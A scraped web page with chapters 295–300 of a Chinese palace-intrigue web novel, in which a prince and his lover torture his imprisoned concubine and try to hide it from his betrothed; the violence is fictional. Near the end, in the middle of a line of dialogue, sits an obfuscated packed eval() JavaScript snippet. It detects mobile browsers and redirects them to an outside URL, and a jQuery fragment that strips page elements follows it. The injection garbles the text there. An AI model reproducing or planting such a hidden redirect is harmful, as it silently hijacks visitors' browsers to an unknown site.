周令芙摔倒在地,又急忙拖着伤痕遍布的身体去拉门,却怎么也拉不开。 她用力地砸着门,喊着,“周令宜,回来!你给我回来!你这个贱人!” “你回来,你听到没有,你杀了我母亲,你还想杀我!你就是个畜生!畜生!” 任凭周令芙如何敲打,外面都没有反应。 周令芙力竭,扒着门缓缓跌落在地,脸色苍白似鬼,泪水混合着脸上伤痕沁出的血水往下滴落。 她如同一条死鱼一般仰躺在地上,气息微弱地喘息着,视线渐渐模糊,嘴中喃喃道:“母亲,对不起,对不起,都是芙儿害了你,都是芙儿……” 第二百九十五章本王疼你还来不及 当周令芙再次有意识的时候,已经不知道是过去了第几日。 墙角放着几个装着馊饭的破碗,大多数上面还布满了灰尘,发出难闻的臭味,没有人在乎她的死活。 这次周令宜也没有让人随意扔瓶药给她,她身上有些伤口都已经流脓了。 不能,她绝不能死! 周令芙强撑着身体翻了个身,朝那堆馊饭的位置爬去。 看着难以下咽的馊饭,周令芙挑了一碗看起来还算干净的吃了起来。 边吃边做呕,吃到最后,周令芙也不知哪儿来的力气,将剩余的装着馊饭的破碗全都砸了,随后抱着自己的身体痛哭了起来。 哭着哭着,突然,在散落一地的残羹剩饭中发现了一个拇指盖大小的油纸包。 周令芙一顿,朝那油纸包伸出了手。 缓缓打开,里面是一张极小的字条,上面写了一行字。 周令芙看着上面那一行字,眼中迸出强烈的光芒。 —— 安王府,谢祁安寝殿。 柔软的床榻上两人依偎在一起,少顷,谢祁安翻身坐起。 身着赤色肚兜的周令宜从身后抱住了谢祁安。 “殿下,宜儿心悦你,你真的要娶林惜颜吗?”周令宜道。 自前两日在周令芙面前被戳中了痛处,周令宜心中总是很不安。 她总觉得安王对自己似乎真的没有她想的那般重要,不然为何,每次都选择辜负她。 在沈琼华与她之间,殿下选择了沈琼华。 在林惜颜与她之间,殿下选择了林惜颜。 那她对于殿下来说又算得上什么呢? 今日殿下可以为了林家的权势,放弃她与林惜颜成婚,那来日呢? 来日殿下若是真的登基,朝堂之上势必还需要林家的支持,殿下真的会废弃林惜颜,让她做皇后吗? 这种强烈的不安令周令宜迫不及待地想要抓住些什么,于是,在离开囚禁周令芙的院子,见到安王时。 周令宜故意露出手心里自己不小心弄出的鞭痕,引得安王的怜惜,而后引诱安王,将自己献给了安王。 她想要让安王心软,想要让安王放弃娶林惜颜。 毕竟按照安王的计划,若是成功之后,也不是非得娶林惜颜不可了。 所以这几日,周令宜都并未离开安王府,而是躲在安王的寝殿内与其厮混。 察觉到身后贴上来的娇软身体,谢祁安又有些意动,却在听到周令宜的话时,又轻轻叹了口气。 他伸手覆上了腰间滑嫩的手臂,道:“宜儿,你应当明白我的不容易。” 听到这话,周令宜的眼神一暗,眼底划过一抹厉色,抱住谢祁安腰的手紧了紧,声音却甜软的道:“宜儿明白的,宜儿都明白,只是如今按照殿下的计划,若是成了,瑞王一党就再也掀不起什么风浪。” “其他的皇子都不足为据,储位定然是归殿下所有的,那殿下何必再娶林惜颜呢。” 察觉到谢祁安紧绷的身体,周令宜咬了咬唇,又道:“宜儿相信殿下对宜儿的心意,宜儿只是不想殿下将来为了宜儿废弃林惜颜时,遭人议论。” “宜儿从小就心悦,仰慕殿下,不想殿下因为宜儿遭受非议。” 话落,谢祁安的身体顿时放松了下来,他转过身,手搭在周令宜的肩膀上,将人搂进怀中。 “本王知晓宜儿的心思,知晓宜儿你一心为我,只是这件事情恐怕本王还不能答应你。” “一来,即便是本王的计划成功,但圣旨已下,若是此时反悔,违抗圣旨,恐怕即便父皇以后会看重本王,心里也会不虞。” “传位诏书一日未下,即便本王被封为了储君,也不是全然毫无顾忌。” “二来,本王之前与林将军达成了共识,若是此时毁约,难保林将军不会恼羞成怒之下扶持别的皇子,父皇又不止本王和瑞王两个皇子。” “其他几位兄弟虽然不成大器,但心里未必没有想法,原本是够不上什么威胁的,但若是获得了林将军的支持,即便不是本王的对手,也会给本王造成不小的麻烦。” “到时,本王将会腹背受敌。” “宜儿,你可清楚这其中的厉害?” 听着谢祁安坚定的话语,周令宜知晓此事已经再无转圜的余地了。 只是她不甘心,明明都是世家贵女,她比林惜颜不知道好了多少,却搭上了自己,也无法让殿下放弃林惜颜。 周令宜在谢祁安面前向来是为他着想的,此次也只能硬着头皮开口,“宜儿知道了,宜儿会乖乖听话的,不会给殿下添麻烦,只是……只是……” 她从谢祁安怀中探出头来,双眼含泪的就那么看着谢祁安,“只是殿下,宜儿什么都给你了,已经是你的人,你将来可不能不要宜儿了。” 美人依赖着他,将他视为她的全部,这显然满足了谢祁安的心。 他摸了摸周令宜披散的青丝,道:“傻宜儿,你如此可人,本王怎么会不要你?本王疼你还来不及呢。” 说着,目光落在周令宜的红唇上,掐住她的下巴就要吻上去。 就在这时,外头的守卫打断了这暧昧的氛围,“殿下,大事不好了!” 第二百九十六章听说周令宜在安王府? 在相距一寸的距离停下,谢祁安眼眸中闪过一抹不悦。 他松开掐着周令宜下巴的手,坐直身体,理了理半开的寝衣,沉声道:“发生何事?” 听出谢祁安声音里的不悦,守卫硬着头皮道:“启禀殿下,竹山院的周侍妾又逃跑了。” 谢祁安闻言,眼中划过一抹厌恶。 对于周令芙这种自甘下贱,毁了他的计划,还愚不可及,又没有价值的女子,留她在安王府,谢祁安都觉得污染了安王府的空气。 谢祁安掸了掸衣袖,漫不经心道:“跑了再抓回来就是,这等小事还用得着跟本王禀报?连个人都看不住,要你们有何用!” 这下门外的守卫不敢再说话了,连忙离开找人去了。 室内重新归于安静。 周令宜眉心微蹙,没想到周令芙被她打得那么重,竟然还有力气逃跑。 她踌躇着开口道:“殿下要不要去看一看,您有所不知,上一次您出征,周侍妾便跑了出去,幸好被宜儿及时发现,将她给抓了回来。” “哦?还有这事?”谢祁安挑眉道。 “是啊,就是在您出征那日,离京之后,周侍妾跑了出去,但她却没有回永宁伯府,而是想要去林府。” “林府?”谢祁安有些疑惑。 “周侍妾因之前的事情记恨宜儿,想要向林惜颜揭发我与殿下之间的关系。”周令宜道。 谢祁安闻言脸瞬间便沉了下来,冰冷的吐出两个字,“蠢妇!” 若是真让周令芙将他与周令宜的关系捅到了林惜颜面前,恐怕林大将军此次就不会这般竭尽全力帮助他了。 谢祁安骨节分明的手抚上周令宜的脸颊,轻声道:“宜儿,你不愧是本王的贤内助,做的好。” 周令宜得到了夸赞,嘴角微微勾起,心情很是愉悦。 她伸手覆上谢祁安抚着她脸颊的手,道:“将周侍妾抓回来之后,宜儿怕她又动逃跑的歪心思,便命人给了她一点儿惩罚,让她长长记性,殿下不会责怪宜儿吧?” “怎么会?”谢祁安嘴角含笑,温柔的语气说着最狠的话,“那是她自己咎由自取,本王说过了将她交于你,你想怎么处置她都成,即便是现在要她的命,本王也不会有半分阻拦。” 谢祁安的话显然哄得周令宜很是高兴,她窝进谢祁安的怀中, 道:“殿下,宜儿都是为了殿下着想,怕她坏了殿下的事情,包括上次那个孩子,宜儿也是怕殿下还未娶正妻,先有庶长子于殿下名声不利,这才狠心下手。” 谢祁安的大掌抚着周令宜光洁的后背,道:“本王知晓,你的心思本王都知晓。” 嘴上这样说,眼底却闪过一丝笑意。 他未尝不知晓周令宜的小算盘,但他本就厌恶极了周令芙,怎么可能让她生下他的孩子。 还不若顺水推舟,由得周令宜去,省得脏了自己的手。 况且,对于周令宜的嫉妒之心,他不得不承认自己是有些享受其中的。 细嫩的肌肤在掌心下留恋,敞着的胸膛与只着肚兜的女子肌肤相贴,谢祁安细细抚摸着,又有些意动。 怀里的女子还在说着,“殿下,这过去这么久了,还未抓到人,你要不要去看一看,宜儿怕她又跑出去坏了殿下的事。” 谢祁安闻言轻笑一声,低头亲上周令宜,呢喃道:“不急,如今本王在府中,王府戒备森严,她跑不出去,咱们有更重要的事情要做。” 说着,谢祁安猛地将周令宜扑到在床榻上,吻一路向下,帐子里很快就响起了不可描述的声音。 就在两人即将乳水交融之际,门外又传来了守卫禀报的声音,彻底打破了帐子里酝酿好的氛围。 “何人来了?”谢祁安以为自己听错了。 守卫战战兢兢地道:“回禀殿下,是林小姐来了。” 林惜颜? 她怎么这个时候来了? 糟了,周令芙还没抓到,若是让她撞见了林惜颜,在林惜颜面前胡说八道岂非坏了事! 谢祁安与周令宜四目相对,显然是想到一出去了。 二人哪还有什么心思,连忙下了榻。 立刻便有人进来服侍二人更衣,梳发,将床榻上的褥子都换一遍,开窗通风。 谢祁安一边由着人服侍一边沉声吩咐,“将林惜颜带去前厅,启动所有的人手,尽快将周令芙找到,切莫让她在林惜颜跟前胡言乱语。” 守卫应下,转身离开。 谢祁安以最快的速度收拾妥当,先一步离开。 周令宜倒是不用着急,林惜颜是来找谢祁安的,她不必出面,不然也不好解释她为何大清早的会出现在安王府。 …… 前厅。 林惜颜脸色不虞地盯着眼前的守卫。 “安王殿下还没来吗?” 守卫硬着头皮道:“殿下有事耽搁了,还请林小姐稍等。” 林惜颜闻言眼眸微眯,转而问起了另一个话题,“永宁伯府二小姐可在安王府?我想见她。” 这句话一出,守卫浑身一惊,心都快跳了出来。 却还是亲自镇定道:“回林小姐的话,殿下马上就来了,您若是有什么需要,便跟殿下说吧,属下只是一个守卫,做不了主的。” 并没有回答林惜颜的话,怕露出什么马脚。 林惜颜听到这话,心里的怀疑更大了。 她日之所以会来安王府,便是因为今早有人送了一封信到林府。 信中说若是她想知道安王与周令宜有没有男女之情,收到信即刻去安王府一看便知。 她本是相信安王与周令宜的,但身为女子,自己将来的夫君几次三番被人提及与另一女子有染,任是谁,都会心存疑虑。 于是,她便派人去永宁伯府,名义上是邀周令宜品茗,实则是打探一下周令宜的虚实,看看她在不在府上。 结果得到的消息是,周令宜不在永宁伯府,具体去了哪里,永宁伯府说不便透露。 这下,她是真坐不住了,立刻便带人来了安王府。 可却迟迟见不到安王的人,这让林惜颜不得不怀疑安王到底在做什么,为什么那封信说她来安王府一看便知。 难道…… 就在林惜颜胡思乱想之际,一道温润的声音响起,“颜儿,大清早的,你怎么来了?” 林惜颜瞬间回神,朝声音来源处看去,谢祁安一身月白色衣袍,眉目含笑,气质儒雅,朝着她走来。 林惜颜一时有些晃神,站起身给谢祁安行了一礼,“王爷安好。” “不必多礼。”谢祁安隔着林惜颜的衣袖虚扶了她一把。 林惜颜的脸有些红,但还没有忘记自己今日来的目的。 “颜儿此次前来,是因为原本想邀周妹妹出来品茗,派人去永宁伯府请,却没想到周妹妹并不在永宁伯府,听说……她在安王府?” 第二百九十七章周令芙疯了? 林惜颜一边说着,一边抬眼去看谢祁安的反应。 谢祁安闻言,藏在宽松衣摆下的手猛地收紧,面上却不动声色。 他微笑道:“颜儿倒是会找人,都找到本王这来了。” “不过,你算是找对了地方,周二表妹确实在安王府。” 林惜颜闻言眼中划过一抹厉色。 竟真的在安王府。 这大清早的,周令宜为何会在安王府? 难不成之前沈琼华和平宁郡主说的是真的,安王果真与周令宜有染? 那她之前还被周令宜骗得团团转,那个贱人是不是躲在背后笑她蠢? 林惜颜有太多的话想要质问,但面对谢祁安,到嘴边的话却怎么也说不出来。 安王是皇子,而她不过是一个将军之女,她并没有资格也没有胆量去质问安王。 林惜颜眼珠一转,嘴角勾起一抹冷笑,“既然周妹妹在安王府,王爷不妨让我与周妹妹见上一面?” 今日她还非要将这些事情弄清楚不可! 若是周令宜真的想要与她抢人,那她的态度就要转变了。 意外地,谢祁安非常爽快的答应了,朝守卫吩咐道:“让周二表妹别再找人了,先来与林小姐见一面。” 守卫神情一滞,随后应下转身离去。 找人? 找什么人? 林惜颜心中疑惑,却并没有开口询问。 如今圣旨已下,这桩婚事并没有转圜的余地,她是一定会嫁给安王的。 不仅是因为她心悦安王,还是因为安王是除了瑞王之外,最有资格角逐那个位置的人。 若是周令宜与安王真有染,她不能得罪安王,却不代表她会忍受一而再,再而三欺骗她,将她当猴耍的周令宜。 她定会让周令宜付出代价。 林惜颜在心中这样想着。 另一边,正准备泡澡解乏的周令宜却被这个传召险些打乱了阵脚。 也顾不上身体的酸痛了,连忙重新梳妆打扮了一番。 直至脸上看不出异样了,才由采薇扶着,守卫带路前往前厅。 不一会儿便到了。 周令宜一进来,林惜颜便上上下下将她打量了一遍。 周令宜力持镇定地微笑道:“林姐姐,你怎么来了?” 林惜颜压抑着心头的怒火,扬起一抹假笑,只是说出的话仍旧难掩怒气,“怎么,这安王府你能来,我便不能来了?” 她才是圣上赐婚,名正言顺的安王妃! 周令宜暗自咬了咬牙,偷偷瞥了谢祁安一眼,对方神色淡淡地看着她。 周令宜知晓他的意思,咬了咬唇,道:“怎么会?林姐姐比我更有资格来这安王府。” “哼!你知道便好。”林惜颜道。 呸!不要脸!还没过门呢,就以安王妃自居了! 周令宜深深呼出一口气,才压下心中的愤怒,耳边传来林惜颜的声音,隐隐含着些许质问的意味,“这大清早的,你怎么会在安王府?” 周令宜心中一动,面上却做出一副为难之色,“这……不是我不告诉林姐姐,这事恐怕不太好说与林姐姐听。” 林惜颜见她这副样子,以为她是心虚,心里更气了,觉得自己被周令宜耍了。 当着谢祁安的面,语气都变得咄咄逼人了起来,“怎么?我是皇上下旨赐婚的,是将来安王府的女主人,这安王府的事情,还有不能说给我听的?” 周令宜似是更加纠结了,如小鹿般的眸子怯怯地往谢祁安的方向看了好几眼,就好像自己欺负了她似的,看得林惜颜心中怒火直升。 “怎么?周妹妹不说话,是这事情不好说与我听,还是不敢说与我听啊!” “不是的,林姐姐你误会了!”周令宜道,随后似是终于下定了决心,开口道:“其实,我今日之所以会大清早地来安王府,是因为我的堂姐。” 堂姐? 这话题转变得太快,以至于林惜颜有些没反应过来,下意识出声道:“周令芙?” 周令宜点点头。 林惜颜蹙眉,盯着周令宜的眼睛,“周令芙怎么了?” 周令宜轻轻叹了一口气,道:“林姐姐是圣上御赐的安王妃,也不算是外人,我也就不瞒你了。” “其实,自一年多前,在我祖母宴席上发生了那……事,堂姐就有些受了刺激,这里……”周令宜指了指自己的脑袋,道:“时而有些不正常,但大部分时间还算是清醒正常的。” “虽说是她自己……要那个的,但是她没想到会被那么多人撞见,闹得人尽皆知,她本意是想着生米煮成熟饭,再偷偷禀告我祖母,让我祖母给殿下施压,逼殿下纳她为侧妃。” “那件事情发生以后,堂姐也求到了祖母身上,但我祖母为人正直,知道是堂姐自己作孽,不愿逼迫殿下,不敢肖想侧妃之位,只求殿下给她个侍妾的名分,给她个容身之所便好。” “堂姐的名声尽毁,却没有得到自己想要的,自那以后就时而清醒时而糊涂。” “后来,她有了身孕,可能以为有了指望,总算好了些,可后来却意外流产,她接受不了,便彻底疯了,极少的时间是清醒的。” “有时候发起疯来,还会拿着鞭子抽自己,有时又觉得自己被软禁了,想要逃跑,还有时一直自顾自地胡言乱语。” 说到这,周令宜深深地叹了一口气,揉了揉太阳穴,似是颇为头疼的样子。 “我今日之所以来安王府,便是因为堂姐又发病了,从屋内跑了出去,安王府的下人怎么都找不到人。” “而我虽然与堂姐不对付,却对她有几分了解,所以殿下让我来帮忙将堂姐找出来,不然,若是出了什么意外就不好了。” 第二百九十八章周令芙自己送上门来 这一连串的信息实在是太大了,林惜颜有些反应不过来。 所以,周令宜之所以大清早出现在安王府,是因为周令芙不见了,来帮忙找人的? 林惜颜眼中闪过一抹狐疑,看了周令宜一眼,周令宜神色自若,没有半点心虚,有的只是无奈。 便是安王也默认了周令宜的话。 难道真的是她误会了? 林惜颜眉头轻蹙。 话说起来,周令芙自进了安王府之后,外面好似便没有她的消息了。 她身为安王府唯一有名分的侍妾,即便是位分不高,也不应当会全无音讯才是。 就连之前,周二夫人病逝,周令芙这个亲生女儿都称病未曾出面,还引得人猜忌。 虽说入了皇家的门,还只是个小小的侍妾,若无特殊原因是不能出府与娘家联系的。 但周令芙身份特殊,周二夫人也称得上安王一声二舅母,只要不是病得起不来床,怎么样都该出现才是。 可是周令芙偏偏没有出现。 当时她还觉着有些奇怪呢。 可若是精神不正常,成了疯子,被人看守了起来,倒是能解释得通了。 周令宜见林惜颜眼神闪烁,眉眼间也不见方才的厉色,便知她信了大半。 心中松了一口气。 相信就好。 这个蠢货,果然还是这么好糊弄。 她缓缓勾起一抹笑,偷偷瞥了谢祁安一眼,却正巧撞进谢祁安的眼中。 谢祁安挑了挑眉,嘴角勾起一抹坏笑,悄悄掀起衣袖,露出小臂上泛红的划痕。 那是今早两人情动之时,周令宜不小心弄的。 周令宜俏脸一红,急忙收回视线,而后又忍不住重新看过去,如此反复。 谢祁安与周令宜当着林惜颜的面调情,偏偏林惜颜的注意力都在周令宜方才说的那一番话上,并没有察觉到。 “你说的是真的?”林惜颜问道。 虽然周令宜的话确实有些道理,但林惜颜总感觉有哪里不对劲,可却偏偏说不上来。 周令宜当即回神,张口道:“当然是真的,我还能骗林姐姐你不成。” “只是……”周令宜伸手拉住林惜颜的手,神情恳求道:“只是堂姐疯了一事,事关她的名声,还请林姐姐保密,不要宣扬出去。” 林惜颜勾唇一笑,道:“当然,若周侍妾真的疯了,你放心,待我进门之后定会好好照顾她的,包她后半辈子安度余生。” 一个疯了的低微妾室而已,对她构不成威胁,当然,前提是周令芙是真的疯了,而不是周令宜在愚弄她。 周令宜闻言,眼中满是感激,道:“那宜儿在此便多谢林姐姐了,有林姐姐的照顾,是堂姐的福气。” 林惜颜轻笑,“也不过是我该做的事情罢了,对了,不是说在找人吗?找到了吗?” 周令宜身体微微一僵,很快便恢复了正常,有些担忧的摇了摇头,“还没有,也不知道堂姐神志不清躲哪里去了。” “我真怕她出了什么事情,万一跌落井里该怎么办,她若是出了事,我怎么跟祖母交代?” 林惜颜道:“那既然还没找到,还是赶紧先找人起吧,我也一起帮忙找一找,说起来,我还没见过周侍妾呢。” 正好看看到底是不是真的疯了。 都说事情再一再二不再三,这都第三回说安王与周令宜有染了,她今日必定要弄清楚不可。 “这……这不太好吧,怎么能劳烦林姐姐呢……”周令宜道。 这周令芙本就想见林惜颜,在林惜颜面前戳穿她与殿下的关系。 让林惜颜帮忙找周令芙,不就是将林惜颜送到周令芙面前吗? 到时她的所有谎言都将不攻自破了! “是啊,颜儿,这种事情交给宜……宜表妹便是,她最是了解周侍妾,省得你劳累。”谢祁安出声道。 面对谢祁安,林惜颜还是表现得很善解人意的,她脸上带着些许红晕,道:“殿下放心,颜儿不辛苦的,而且颜儿将来是要嫁给殿下的,颜儿也想学着为殿下分忧。” “可是……”周令宜迟疑着想要找借口阻拦,林惜颜面对周令宜却又陡然换了另一副面孔。 “怎么,周妹妹不同意吗?难不成是有什么事情瞒着我,怕我拆穿你?”林惜颜言辞犀利道。 周令宜眼神一暗,连忙道:“怎么会,既然林姐姐肯帮忙,那自是再好不过,宜儿在此先写过林姐姐了。” 说是要帮忙找人,自然也是要装装样子的,林惜颜跟着安王与周令宜一齐来到了后院。 果然,婢女小厮们都行色匆匆寻找着什么,一边找还一边喊周令芙的名字。 林惜颜看到这有些混乱的场景,心里便先安了三分。 看来周令芙是真的不见了,至少证明找人一事上,周令宜没有框她。 林惜颜和周令宜说的找人并不是真的找人,而是动动嘴皮子,至于跑腿的事情则由下人去做。 林惜颜出行也带了不少下人,此刻也让他们也帮着安王府的下人一起找。 周令宜见状看了谢祁安一眼,谢祁安神色一动,轻轻点了点头。 周令宜便知晓谢祁安已经派出所有的人手在寻找了。 若是这样还能让林惜颜的人先找到,那就只能说明天意如此。 幸好方才给周令芙安上了一个疯妇的名声,若是真的找到了周令芙,她看见林惜颜,想要揭露自己与殿下的关系。 自己也有可以狡辩的余地。 若是他们的人先找到周令芙,那必定会打晕周令芙,不会让她有开口的机会。 反正如今的周令芙,也不必开口,外形上便与疯妇没什么两样了。 时间转瞬即逝,两刻钟过去了,还是没能有半点消息。 林惜颜脸上闪过一抹不耐,看向周令宜的眼神又带着些许怀疑。 一个疯子,能躲这么久? 莫不是都在做戏给她看吧? 林惜颜的脸色有些不好看,谢祁安和周令宜的脸色相比较之下更为阴沉。 除了王府大门的守卫未被调离,便是连书房的守卫都被他派去找人了。 这么多人都没有找到,这周令芙还能长了翅膀飞了不成? 若不是谢祁安对王府的守卫有足够的信心,都怀疑周令芙是不是逃出王府了。 就在所有人都没有头绪之时,周令芙却自己送上了门来。 第二百九十九章给本小姐将这个疯子拉开! 周令宜听着下人的禀报,眼皮一跳,正想开口让人先将周令芙待下去,林惜颜便先开了口。 “周妹妹,你急什么,说起来我还未曾见过周侍妾呢,迟早都是要见的,带上来让我看看,认个脸熟。”林惜颜道。 “这……人找到了就行了,林姐姐何必见呢,堂姐如今精神状态不稳定,贸然将她带上前来,我怕她会冲撞了林姐姐。”周令宜道。 “是啊,颜儿,宜表妹说的有道理,人找到了就行了。”谢祁安沉声道。 林惜颜却不依,她进非要弄清楚这周令宜与安王的关系不可。 她笑着道:“殿下,颜儿就是想要见一见嘛~~” 看向周令宜时却又沉着一张脸,“周妹妹,你几次三番阻拦,莫不是心虚不成?” “怎……怎么会,若是林姐姐实在想见,那便见吧。”周令宜咬唇,力持镇定道。 既然拦不住,那便只能见招拆招了。 不然若是死命拦着不见,只怕是更加让林惜颜怀疑。 若是见了,或许还有一丝狡辩的余地。 很快,周令芙便被人带了上来。 一露面,谢祁安的眼中便划过一抹诧异之色。 他自周令芙流产之后,便将人交给周令宜处置,算起来也有近一年没有见过周令芙了,没想到,再次见到她竟变成了这番模样。 现在的周令芙完全没有了在永宁伯府时的娇艳,整个人散发着一股阴郁之气。 她身着一身都快看不出颜色的青色衣裳,衣裳上沾着鞭打出来的血痕,原本柔顺的长发一团一团的结在一块遮住了原本的面容,佝偻着背。 咋一看就跟那三四十岁的乞丐老妇一般,哪还看得出她一年前还是一个双十年华都没到的世家贵女? 林惜颜脸色一变,顿时用帕子捂着脸连连往后推了几步,生怕沾染到周令芙身上的味道。 她满眼不可置信道:“周妹妹,你没弄错吧?她真是你堂姐周令芙?” 这跟乞丐有什么区别? 这下林惜颜是真的有些相信周令芙是真的疯了。 若是一个正常人,怎会是这个样子? 周令宜眼中闪过一抹懊恼。 她之前折磨完周令芙后,都会安排婢女给周令芙上药,再将染了鲜血的衣裳换了。 虽然不是什么很好的伤药,但起码看上去别那么吓人,毕竟万一有一日殿下要见周令芙呢。 要是将周令芙折磨得太惨,岂非破坏了她在殿下心目中的形象。 之前次次都是如此,唯独上一次太过于生气,便想着让她自生自灭,不许婢女给她伤药,也没有让她换衣裳。 没曾想今日闹出来这么一出,周令芙形象看起来比之前的每一次都要吓人。 也不知道殿下看到这样的周令芙会如何想她。 这样想着,周令宜向坐在上首的谢祁安看去。 谢祁安此时早就收拾好了自己的情绪,朝周令宜温柔一笑。 说到底,周令芙不过是他一个厌弃的女子,她是死是活,是痛苦还是生不如死,都与他无甚关系,他也不在意。 周令宜见谢祁安的神色没有异样,心里松了一口气。 又看了看浑身都在发抖的周令芙,估摸着她是没见过林惜颜,还没认出来,所以才没开口。 她得先下手为强,将周令芙定死为疯子,这样即便周令芙待会在林惜颜面前说什么,林惜颜都不会全然相信。 周令宜眼珠一转,看向林惜颜,轻声道:“是啊,她就是我堂姐周令芙,林姐姐,我都说了她疯了你偏不信,现在相信了吧。” “她身上的那些伤,都是她抢了侍卫的鞭子自己抽的,我想拦都拦不住,拦的话她连我一起抽,你看……” 周令宜露出手臂上自己不小心弄出的鞭痕,道:“可疼了呢,偏堂姐抽自己不仅不喊疼,还笑呵呵的。” 林惜颜闻言,面露惊悚地看着周令芙。 竟这般疯吗?! 周令芙原本还未注意到林惜颜。 自她进来后,她的目光便落到了谢祁安的身上,心中的恨意几乎要将她燃烧殆尽。 若说她恨的人周令宜排第一,那谢祁安绝对位列第二。 若周令宜是害她成为这样的罪魁祸首,那谢祁安就是帮凶。 若是没有谢祁安的纵容,周令宜怎么敢如此对她。 她承认之前是她痴心妄想,想要攀附他,但她都已经付出了代价了,他为何不肯放过她,为何要任由周令宜那个贱人害死她是孩子。 那也是他的孩子啊! 就在她沉浸在自己的思绪中时,却猛然听见了周令宜的话。 林姐姐? 林惜颜? 没错,能让周令宜舔着脸这样喊的,也唯有林惜颜了。 真是踏破铁鞋无觅处,得来全不费工夫。 周令宜害死了她的孩子,她一直想找机会见林惜颜一面,好毁了周令宜的算盘,却没想到今日会遇见。 周令宜……她竟还想污蔑她,说她是个疯子。 她是怕自己将她那肮脏的心神抖出去吗? 她竟然也会怕? “哈哈哈哈哈——”周令芙神色有些癫狂地笑了起来。 随着她怪异的笑声响起,屋内顿时安静了下来,所有人都看向她。 周令芙察觉到身后压着她手的两个嬷嬷有些怔住了,趁着这个机会,猛地挣脱出来,随即扑向了林惜颜。 “林小姐,我是周令芙,我没有疯,你知不知道,周令宜她爱慕安王多年,想取你而代之啊?” “若不是安王势微,必须要娶你巩固势力,恐怕他们早就成婚了,他们一直在背着你暗度陈仓啊!” 周令芙死死地抱住林惜颜,生怕她话没说完就被安王的人给拉了下去。 而林惜颜则完全没料到周令芙的举动,这突如其来的举动,吓得林惜颜发出了一声尖叫。 “啊啊啊——快给本小姐将这个疯子拉开!” 第三百章两者不可同日而语 周令芙许久未曾沐浴,身上的汗味与鲜血的腥味混合在一起,整个人都快馊入味了。 林惜颜被她抱着,只觉自己置身于泔水桶中,整个人止不住作呕。 见周围的下人都吓得愣在原地没有上前来帮忙。 林惜颜一边挣扎着拿脚踹周令芙,一边大喊:“你们都是**呐!” 这一声怒吼彻底将下人们惊醒,纷纷上前将周令芙拉开。 可周令芙恨极了周令宜,将林惜颜视为压制周令宜的唯一方法,如何肯就这样被人拖下去。 更何况,上一次周令宜亲口说了,之所以留她一条命,是想要她死在林惜颜与安王成婚的那一日。 至于她的目的,不言而喻。 新婚之夜就逼**丈夫的妾室,妾室还是世家伯府的嫡女,足以给林惜颜扣上一个善妒,心狠手辣的名声。 眼下她抢先出现在林惜颜面前,周令宜知晓计划落了空,为了今后不再横生枝节,定然不会再留她的性命。 只怕她被拖下去,顷刻间便会没了命。 因此,周令芙死命巴拉着林惜颜,似是将她视为唯一的救命稻草。 周令芙神色癫狂,冲着林惜颜那张近在咫尺的脸,面目狰狞地喊道:“林小姐,我不是疯子,我身上的伤都是被周令宜给打的。” “我说的都是真的,你一定要相信我啊,你被那个周令宜那个**给耍了!” 可任凭她如何死拽着林惜颜不放,她终究只是一个人,如何抵抗得过六七个下人的力气。 硬生生被掰断了一根指节,发出了一声凄厉的惨叫,被下人给拉开了。 其中一个知晓内情的嬷嬷,还极为有眼色地伸手捂住林惜颜的嘴,不让她再说话。 林惜颜瘫坐在太师椅上,犹如劫后逃生一般大口喘着粗气,原本华贵整洁的衣裳也被周令芙拽得满是褶皱,看向周令芙的眼神厌恶中透着几丝心有余悸。 谢祁安见状连忙走到林惜颜身边柔声安抚道:“颜儿,你没事吧?有没有被吓着?” 林惜颜摇摇头,随即又点点头,显然是有些被惊到了。 周令宜看着这乱糟糟的场面,嘴角勾起一抹笑意。 尤其是看到林惜颜狼狈的样子,心中的幸灾乐祸愈甚。 周令芙这个蠢货,这么好的一个机会,偏偏被她搞成这个样子。 果然是烂泥扶不上墙,没用的废物,还害她白白担忧一场。 她竭力压制住喜悦的情绪,上前一步挡在周令芙与林惜颜之间。 满脸愧疚的朝林惜颜道:“林姐姐,实在是对不住,我没想到一段时日不见堂姐的疯病愈发严重了,还惊扰了你。” “你放心,我这便让人将她待下去,今后绝不让她出现在你的面前。” 说着,也不等林惜颜说话,转过身对上周令芙的眼睛,脸上的担忧顷刻间变成了高高在上的得意。 她嗓音尖利地吩咐道:“还不快将周侍妾带下去,严加看管起来,万不能再让她跑出来了。” “是!”下人们应下,便准备将周令芙压下去。 周令宜吩咐完,又转身去安抚林惜颜。 她和谢祁安两人一左一右,完全遮挡了林惜颜的视线。 眼看自己要被带出去,周令芙一口咬住了捂着她嘴的手,痛得那嬷嬷发出一声尖叫,下意识便松开了手。 得到了自由,周令芙立刻便尖声喊道:“林小姐,我说的都是真话,周令宜一直觊觎安王妃之位,她是故意与你交好的!” 坐在太师椅上已经从方才的惊吓当中缓过神来,听到周令芙的尖叫,浑身一个激灵,方才想起自己来到安王府的目的。 她的眼神落在了正安抚她的周令宜身上。 周令宜显然察觉到了她的视线,心里一慌,连忙转过身,道:“还不快将人带出去!” “是是是。”那嬷嬷连声应是,又赶紧将周令芙的嘴巴捂住。 “等等!”林惜颜的声音自身后传来,周令宜与谢祁安同时身体一僵。 周令宜转过身,问道:“林姐姐,怎么了?堂姐现下受了惊吓有些胡言乱语,还是将她早早送回院子为好。” 她眉头轻蹙着,眼神中满是迷茫,表情要多无辜就有多无辜。 可惜林惜颜脑子倒是难得清醒了一回,没有听信她的一面之词。 她错开周令宜的身体,去看她身后的周令芙。 方才她是被周令芙吓着了,才觉着对方是个疯妇,可现在看来,周令芙除了外观上来看像个疯妇,说话时并没有疯疯癫癫的不着调。 她真的是个疯子? 她盯着捂着周令芙的嘴的嬷嬷,道:“将手拿开。” 那嬷嬷心里咯噔一声,“林小姐……” 周令宜捏着帕子的手一紧,知晓林惜颜怕是起了疑心了。 但是她还是想再挣扎一下,“林姐姐,你这是做什么?” 林惜颜冷冷地瞥了她一眼,“周妹妹,你急什么,莫不是做贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187874|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心虚?” 这下,可是彻底封住周令宜的口了。 